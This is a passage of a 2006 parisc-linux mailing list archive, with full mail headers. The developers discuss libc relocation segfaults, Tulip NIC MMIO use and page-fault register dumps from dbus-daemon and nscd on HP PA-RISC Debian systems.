bid0IGhlbHAgeW91IHRoZXJlIC4uLiBhbHRob3VnaCBJIGhhdmUgc2VlbiBtYW55IGFwcGxpY2F0
aW9ucyBub3QgbG9uZ2VyIHdvcmtpbmcgb24gbXkgRGViaWFuL3Rlc3Rpbmcgc3lzdGVtIGxhdGVs
eSAoc2VnZmF1bHQsICd1bnJlc29sdmFibGUgcmVsb2NhdGlvbiBlcnJvciAweDQyJyBtb3N0IG9m
IHRoZSB0aW1lKS4KPGJyPlRoZSBhZmZlY3RlZCBhcHBsaWNhdGlvbnMvZGViaWFuIHBhY2thZ2Vz
IGFyZTo8YnI+LSBhaWRlPGJyPi0gc2FtYmEgKGxpYnNtYmNsaWVudCwgc2FtYmEsIHNhbWJhLWNv
bW1vbiwgc21iY2xpZW50LCBzbWJmcyBldGMuKTxicj4tIGF1dG9mczxicj48YnI+UmVjb21waWxp
bmcgdGhvc2UgYXBwbGljYXRpb25zIHZpYSAnYXB0LWdldCBidWlsZC1kZXAgJmx0O3BhY2thZ2Um
Z3Q7JyBhbmQgJ2FwdC1nZXQgLWIgc291cmNlICZsdDtwYWNrYWdlJmd0Oycgd2l0aCAKZ2NjLTMu
NCBwcm9kdWNlcyB3b3JraW5nIGV4ZWN1dGFibGVzLiBBdCBsZWFzdCBmb3Igc2FtYmEgSSBhbHNv
IHRyaWVkIHJlY29tcGlsaW5nIHdpdGggZ2NjLTQuMCwgd2l0aCBhbHNvIHdvcmtlZC4gSXQgc2Vl
bXMgdGhhdCB0aGVyZSBpcyBzb21ldGhpbmcgd3Jvbmcgd2l0aCB0aGUgc2V0dXAgRGViaWFuJ3Mg
YnVpbGRkIHVzZXMgLi4uPGJyPi4uLiBJIHRoaW5rIEkgc2hvdWxkIHJhdGhlciByZXBvcnQgdGhp
cyBidWcgdG8gdGhlIGRlYmlhbi1ocHBhIG0tbCAuLi4KPGJyPjxicj4mbmJzcDsmbmJzcDsgTWF4
PGJyPjwvZGl2PjwvZGl2Pgo=
------=_Part_173_27613596.1143343937713--



From - Thu Nov 08 21:34:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes) and more
Date: Sat, 25 Mar 2006 23:05:16 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20060326040516.GA27713@hiauly1.hia.nrc.ca>
References: <e6eae0290603251932l142222f2n@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624029 18671 80.91.229.3 (22 Nov 2014 02:40:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Max Grabert <parisc@gmail.com>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2006 04:05:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 26 Mar 2006 06:05:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DB167D6B8;
	Sat, 25 Mar 2006 21:05:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05817-07; Sat, 25 Mar 2006 21:05:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 597367D6BA;
	Sat, 25 Mar 2006 21:05:24 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E35C87D6B6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Mar 2006 21:05:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05705-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Mar 2006 21:05:20 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id E51507D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 25 Mar 2006 21:05:19 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k2Q45HSq029499; Sat, 25 Mar 2006 23:05:17 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k2Q45G9a029497;
	Sat, 25 Mar 2006 23:05:16 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <e6eae0290603251932l142222f2n@mail.gmail.com>
User-Agent: Mutt/1.4.2.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OiQUdUJCIyd18PqQe2draGxaa2FkZpXQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23493

> Regarding the segfault, I can't help you there ... although I have seen many
> applications not longer working on my Debian/testing system lately
> (segfault, 'unresolvable relocation error 0x42' most of the time).

This should be fixed in libc6 2.3.6-3 which has support for the above
relocation.  If it's still occurring, there needs to be a new bug report.
In the situations that I've seen the relocations are coming from
/usr/lib/Scrt1.o when pie code is being used.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Sat, 25 Mar 2006 22:45:53 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20060326054553.GA9955@colo.lackof.org>
References: <200603230746.37433.deller@gmx.de> <200603260145.k2Q1jwSr012419@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624029 18672 80.91.229.3 (22 Nov 2014 02:40:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:29 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <grundler@lackof.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2006 05:34:53 -0000
Original-Received: from colo.lackof.org (EHLO colo.lackof.org) [198.49.126.79]
  by mx0.gmx.net (mx055) with SMTP; 26 Mar 2006 07:34:53 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 63FE5360023;
	Sat, 25 Mar 2006 22:45:55 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08514-09; Sat, 25 Mar 2006 22:45:54 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E54A736001D; Sat, 25 Mar 2006 22:45:53 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200603260145.k2Q1jwSr012419@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xRATcAwtTiEtoqyUaGRwenF1ZUVSRJfy
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23494

On Sat, Mar 25, 2006 at 08:45:58PM -0500, John David Anglin wrote:
> > But I did booted yesterday the latest CVS 32bit Kernel on my c3k and it worked fine, so I assume you shouldn't see any problems either...
> 
> I tried the default 2.6.16-pa5 from www.parisc-linux.org this afternoon.
> I still get a lot of ip_tables messages on the console which unfortunately
> aren't captured in any log file.

I haven't paid attn to iptables changes but I probably should.
In any case, that will "only" affect things like NAT or firewall.

>   I've attached the diff between 2.6.15-rc7-pa
> and 2.6.16-pa5 dmesg files.  Is the eth0 difference significant?

Yes. One is using MMIO and the other is using IO port space.
c3000defconfig could use MMIO too. I keep forgetting if
the "GSC" Tulips (via card-mode Dino) now reliably can
use MMIO too.

grant



From - Thu Nov 08 21:34:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Sun, 26 Mar 2006 10:06:37 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <442667AD.1060905@tiscali.be>
References: <200603230746.37433.deller@gmx.de>	<200603260145.k2Q1jwSr012419@hiauly1.hia.nrc.ca>
	<20060326054553.GA9955@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624030 18674 80.91.229.3 (22 Nov 2014 02:40:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2006 10:06:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 26 Mar 2006 12:06:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D8EB7D6C1;
	Sun, 26 Mar 2006 03:06:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07872-08; Sun, 26 Mar 2006 03:06:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5DC027D6C7;
	Sun, 26 Mar 2006 03:06:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B1E9A7D6BA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 03:06:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07880-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 03:06:43 -0700 (MST)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id 93EC47D6B8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 03:06:42 -0700 (MST)
Original-Received: from (ip-62-235-195-52.dial.scarlet.be [62.235.195.52]) 
	by xizor.is.scarlet.be  with ESMTP id k2QA6cM09067; 
	Sun, 26 Mar 2006 12:06:38 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1
X-Accept-Language: en
In-Reply-To: <20060326054553.GA9955@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iVUUd8UhPTRt7OjGPjIwMzIxc2tpZItR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23495



Grant Grundler wrote:
> On Sat, Mar 25, 2006 at 08:45:58PM -0500, John David Anglin wrote:
> 
[...]
> I keep forgetting if
> the "GSC" Tulips (via card-mode Dino) now reliably can
> use MMIO too.
> 
Btw, I have such additional gsc nic on my d380: which driver should I select?

Tia,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes) and more
Date: Sun, 26 Mar 2006 18:58:56 +0200
Lines: 103
Approved: news@gmane.org
Message-ID: <200603261858.56874.deller@gmx.de>
References: <e6eae0290603251932l142222f2n@mail.gmail.com>
	<20060326040516.GA27713@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624030 18676 80.91.229.3 (22 Nov 2014 02:40:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2006 16:59:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 26 Mar 2006 18:59:09 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 507FC7D6CF;
	Sun, 26 Mar 2006 09:59:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11506-09; Sun, 26 Mar 2006 09:59:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1ECEC7D6EF;
	Sun, 26 Mar 2006 09:59:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6CEC57D6C7
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 09:59:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11434-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 09:58:59 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 50A027D6C1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 09:58:59 -0700 (MST)
Original-Received: (qmail invoked by alias); 26 Mar 2006 16:58:58 -0000
Original-Received: from p54AD0DEF.dip0.t-ipconnect.de (EHLO p100.box) [84.173.13.239]
	by mail.gmx.net (mp010) with SMTP; 26 Mar 2006 18:58:58 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <20060326040516.GA27713@hiauly1.hia.nrc.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bPoAbFzNLi5n8ffRZWtpZGZjZml1ZJgY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23496

On Sunday 26 March 2006 06:05, John David Anglin wrote:
> > Regarding the segfault, I can't help you there ... although I have seen many
> > applications not longer working on my Debian/testing system lately
> > (segfault, 'unresolvable relocation error 0x42' most of the time).
> 
> This should be fixed in libc6 2.3.6-3 which has support for the above
> relocation.  If it's still occurring, there needs to be a new bug report.
> In the situations that I've seen the relocations are coming from
> /usr/lib/Scrt1.o when pie code is being used.

Hi Dave,

I'm running libc6-2.3.6-4 and see some strange crashes. Might it be related, or does  2.3.6-4 doesn't includes your fix ?

Regards,
Helge

root@c3000:~# dpkg -l | grep libc
ii  libc6                       2.3.6-4                        GNU C Library: Shared libraries and Timezone data
ii  libc6-dev                   2.3.6-4                        GNU C Library: Development Libraries and Header Files
ii  libc6-pic                   2.3.6-4                        GNU C Library: PIC archive library

dbus-0.61-5.deb
nscd-2.3.6-4.deb

do_page_fault() pid=1854 command='dbus-daemon' type=15 address=0x41493520
vm_start = 0x4095d000, vm_end = 0x4095f000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111110100001111 Not tainted
r00-03  00000000 0062c6c3 409148df 40493818
r04-07  4095b714 404933b8 00000005 40493000
r08-11  0000000f 0007a960 00000005 fb556648
r12-15  fb55664c 4095c714 4095c714 fb55674c
r16-19  4095ed9c 00000001 00000000 4095b714
r20-23  01000168 00000000 000196a8 0007a960
r24-27  00000005 000000d3 a2d3a6be 00070eec
r28-31  00000000 404931e4 fb556880 409148f3
sr0-3   00000000 00000000 00000000 00001765
sr4-7   00001765 00001765 00001765 00001765

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  11bb69e08f41d7fc 000000001017b2f8 1051e2201051e220 11ba1b0810436960
fr08-11  0000000300000000 11bb69e00098963a 0000000000000002 11ba1b0810436960
fr12-15  0007a8a810517010 0000000010125938 0007a8c81054d6a0 0000000000030000
fr16-19  0000000b1051e810 11ba409c11ba4148 1051e220103af867 00002000103d15a0
fr20-23  11b9400000000000 0000000010166ef8 0000000000000000 0000000010514010
fr24-27  0000000110436810 10125a9800000000 232aaf8049c5f780 0098963a11b94000
fr28-31  ffffff9c11ba1b08 11ba414810167050 000000001051e010 00000000f0400004

IASQ: 00001765 00001765 IAOQ: 40914917 4091491b
 IIR: 0e85001c    ISR: 00001765  IOR: 41493520
 CPU:        0   CR30: 8eb90000 CR31: 104bc000
 ORIG_R28: 00000000
 IAOQ[0]: 0x40914917
 IAOQ[1]: 0x4091491b
 RP(r2): 0x409148df


do_page_fault() pid=1830 command='nscd' type=15 address=0x41493534
vm_start = 0x41425000, vm_end = 0x41428000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 410d0fdc 410b80cf 404c8c80
r04-07  410d0ca0 00000000 4426c56b 404937e8
r08-11  41493520 00000079 404933b8 00000079
r12-15  404c8e89 000000d3 000000d2 410d0df0
r16-19  4426c56b 00000059 410d0fdc 410d0ca0
r20-23  00000000 01000168 00000000 00000008
r24-27  404c8cb8 404c8e48 404c8cb8 410d0ca0
r28-31  00000001 00000803 404c8f40 00000000
sr0-3   00001701 00000000 00000000 00001701
sr4-7   00001701 00001701 00001701 00001701

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  11bb69e08f41d7fc 000000001017b2f8 1051e2201051e220 11ba1b0810436960
fr08-11  0000000300000000 11bb69e00098963a 0000000000000002 11ba1b0810436960
fr12-15  0000100010517010 404c8e4010125938 402ac4b41054d6a0 0000000000030000
fr16-19  0000000b1051e810 11ba409c11ba4148 1051e220103af867 00002000103d15a0
fr20-23  11b9400000000000 0000000010166ef8 40095a2bcccccccd 404c8cb810514010
fr24-27  0000000a10436810 10125a9800000000 232aaf8049c5f780 0098963a11b94000
fr28-31  ffffff9c11ba1b08 11ba414810167050 000000001051e010 00000000f0400004

IASQ: 00001701 00001701 IAOQ: 410b7f43 410b7f47
 IIR: 491c0028    ISR: 00001701  IOR: 41493534
 CPU:        0   CR30: 8e9cc000 CR31: 104bc000
 ORIG_R28: 00000001
 IAOQ[0]: 0x410b7f43
 IAOQ[1]: 0x410b7f47
 RP(r2): 0x410b80cf
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fwd: hppa glibc clone() patch proposal (3/3)
Date: Sun, 26 Mar 2006 18:00:06 +0000
Lines: 110
Approved: news@gmane.org
Message-ID: <4426D6A6.5050503@tiscali.be>
References: <IWMNAP$23D07646E4F7FC13AA5E343EDFB71AEA@scarlet.be>	
	<119aab440603241148k755eb8a1m10982b0538fc2cf3@mail.gmail.com>	
	<119aab440603241150p3e15057gc23e355732c1dea@mail.gmail.com>	
	<442467DF.8060309@tiscali.be>	
	<119aab440603241504m5f1f8a97tebe4110185d5ac4c@mail.gmail.com>	
	<4424F7EE.7020002@tiscali.be>
	<119aab440603251126s3a599718n32759d5ed0dcd8c0@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624030 18679 80.91.229.3 (22 Nov 2014 02:40:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Mar 2006 18:00:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 26 Mar 2006 20:00:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93FD67D704;
	Sun, 26 Mar 2006 11:00:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12107-07; Sun, 26 Mar 2006 11:00:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6AEF77D706;
	Sun, 26 Mar 2006 11:00:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C53327D701
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 11:00:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12107-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 11:00:12 -0700 (MST)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id A72D97D6FF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Mar 2006 11:00:11 -0700 (MST)
Original-Received: from (ip-62-235-234-54.dial.scarlet.be [62.235.234.54]) 
	by xizor.is.scarlet.be  with ESMTP id k2QI06M06582; 
